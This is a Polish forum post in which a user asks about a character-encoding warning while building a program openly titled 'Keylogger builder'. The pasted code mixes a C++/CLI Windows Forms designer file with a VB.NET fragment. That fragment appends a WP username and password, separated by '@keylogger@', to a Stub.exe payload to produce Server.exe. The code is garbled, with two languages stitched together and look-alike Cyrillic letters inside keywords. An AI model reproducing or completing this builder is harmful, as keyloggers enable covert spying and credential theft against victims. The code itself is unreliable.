makankosapo
Użytkownik
- Dołączył
- Grudzień 24, 2012
- Posty
- 28
Oto i on:
Mam pytanie. Wyskakuje mi komunikat dotyczący kodowania. Coś typu Central European (Windows) lub choćby Central European (ISO). To znaczy, że mam zmienić sposób kodowania?
Kod:
Imports System.IO
#pragma once
namespace keyl {
using namespace System;
using namespace System::ComponentModel;
using namespace System::Collections;
using namespace System::Windows::Forms;
using namespace System::Data;
using namespace System::Drawing;
/// <summary>
/// Summary for Form1
/// </summary>
public ref class Form1 : public System::Windows::Forms::Form
{
public:
Form1(void)
{
InitializeComponent();
//
//TODO: Add the constructor code here
//
}
protected:
/// <summary>
/// Clean up any resources being used.
/// </summary>
~Form1()
{
if (components)
{
delete components;
}
}
private: System::Windows::Forms::TextBox^ textBox1;
protected:
private: System::Windows::Forms::TextBox^ textBox2;
private: System::Windows::Forms::Button^ button1;
private: System::Windows::Forms::Label^ label1;
private: System::Windows::Forms::Label^ label2;
private:
/// <summary>
/// Required designer variable.
/// </summary>
System::ComponentModel::Container ^components;
#pragma region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
void InitializeComponent(void)
{
this->textBox1 = (gcnew System::Windows::Forms::TextBox());
this->textBox2 = (gcnew System::Windows::Forms::TextBox());
this->button1 = (gcnew System::Windows::Forms::Button());
this->label1 = (gcnew System::Windows::Forms::Label());
this->label2 = (gcnew System::Windows::Forms::Label());
this->SuspendLayout();
//
// textBox1
//
this->textBox1->Location = System::Drawing::Point(81, 62);
this->textBox1->Name = L"textBox1";
this->textBox1->Size = System::Drawing::Size(137, 20);
this->textBox1->TabIndex = 0;
this->textBox1->Text = L"The WP Username textbox";
//
// textBox2
//
this->textBox2->Location = System::Drawing::Point(81, 125);
this->textBox2->Name = L"textBox2";
this->textBox2->Size = System::Drawing::Size(137, 20);
this->textBox2->TabIndex = 1;
this->textBox2->Text = L"The WP Password textbox";
//
// button1
//
this->button1->Location = System::Drawing::Point(113, 165);
this->button1->Name = L"button1";
this->button1->Size = System::Drawing::Size(75, 23);
this->button1->TabIndex = 2;
this->button1->Text = L"Build";
this->button1->UseVisualStyleBackColor = true;
//
// label1
//
this->label1->AutoSize = true;
this->label1->Location = System::Drawing::Point(110, 37);
this->label1->Name = L"label1";
this->label1->Size = System::Drawing::Size(76, 13);
this->label1->TabIndex = 3;
this->label1->Text = L"WP Username";
//
// label2
//
this->label2->AutoSize = true;
this->label2->Location = System::Drawing::Point(110, 97);
this->label2->Name = L"label2";
this->label2->Size = System::Drawing::Size(74, 13);
this->label2->TabIndex = 4;
this->label2->Text = L"WP Password";
//
// Form1
//
this->AutoScaleDimensions = System::Drawing::SizeF(6, 13);
this->AutoScaleMode = System::Windows::Forms::AutoScaleMode::Font;
this->ClientSize = System::Drawing::Size(292, 266);
this->Controls->Add(this->label2);
this->Controls->Add(this->label1);
this->Controls->Add(this->button1);
this->Controls->Add(this->textBox2);
this->Controls->Add(this->textBox1);
this->FormBorderStyle = System::Windows::Forms::FormBorderStyle::FixedSingle;
this->MaximizeBox = false;
this->MinimizeBox = false;
this->Name = L"Form1";
this->ShowIcon = false;
this->StartPosition = System::Windows::Forms::FormStartPosition::CenterScreen;
this->Text = L"Keylogger builder";
this->Load += gcnew System::EventHandler(this, &Form1::Form1_Load);
this->ResumeLayout(false);
this->PerformLayout();
}
#pragma endregion
private: System::Void Form1_Load(System::Object^ sender, System::EventArgs^ e) {
}
};
}
Dim stub, text1, text2 Aѕ String Const FileSplit = "@keylogger@"
text1 = TextBox1.Text text2 = TextBox2.Text FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) stub = Space(LOF(1)) FileGet(1, stub) FileClose(1) If File.Exists("Server.exe") Thеn Mу.Computer.FileSystem.DeleteFile("Server.exe") Enԁ If FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit) FileClose(1) MsgBox("Thе Server.exe іѕ builded!")
Mam pytanie. Wyskakuje mi komunikat dotyczący kodowania. Coś typu Central European (Windows) lub choćby Central European (ISO). To znaczy, że mam zmienić sposób kodowania?
Ostatnio edytowane przez moderatora: